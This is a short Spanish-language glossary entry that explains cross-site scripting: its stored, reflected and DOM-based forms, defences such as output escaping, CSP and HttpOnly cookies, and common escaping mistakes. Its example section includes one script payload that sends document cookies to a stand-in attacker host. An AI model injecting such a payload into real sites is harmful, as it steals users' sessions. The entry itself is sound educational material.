XSS
XSS (cross-site scripting) es el ataque donde el atacante inyecta scripts maliciosos en una página que se ejecutan en el navegador de otros usuarios; tiene formas almacenadas, reflejadas y basadas en DOM.
Propósito
Evitar que scripts maliciosos se ejecuten en el contexto de una página de confianza, protegiendo sesiones y datos del usuario.
Mecanismo
El atacante inyecta <script> en la página (almacenado vía base de datos, reflejado vía parámetros de URL, basado en DOM vía manipulación del DOM en el cliente). El script corre en el navegador de la víctima con sus privilegios de sesión, robando cookies, emitiendo peticiones o alterando la página. Defensas: escape de salida, CSP, cookies HttpOnly.
Casos de uso
- Renderizar entrada de usuario sin escapar
- Inyección en comentarios y texto enriquecido
- Reflejar parámetros de URL en páginas
- Inyección de scripts de terceros
Ejemplos
- entrada
<script>fetch("evil.com?c="+document.cookie)</script>OutputSteals the user cookiesStored XSS
Errores comunes
- Escaping only < > while missing quotes in attribute contexts
- Escape per context: HTML/attribute/JS/URL
Términos relacionados
CSRF
CSRF (cross-site request forgery) es una vulnerabilidad donde el atacante engaña a un usuario conectado para que envíe sin saberlo una petición maliciosa al sitio objetivo. GLOSARIO
CSP
CSP (Content Security Policy) declara, mediante una cabecera HTTP, qué orígenes de recursos puede cargar una página, reduciendo la superficie de ataque de XSS e inyección de datos. GLOSARIO
HTML Entities
Las entidades HTML escapan caracteres con significado especial en HTML (<, >, &, ") a la forma &name; o &#NNN; para que se muestren literalmente en lugar de analizarse como marcado. GLOSARIO
SQL Injection
La inyección SQL consiste en que atacantes empalmen fragmentos SQL maliciosos en una cadena de consulta para que la base de datos ejecute comandos no deseados. GLOSARIO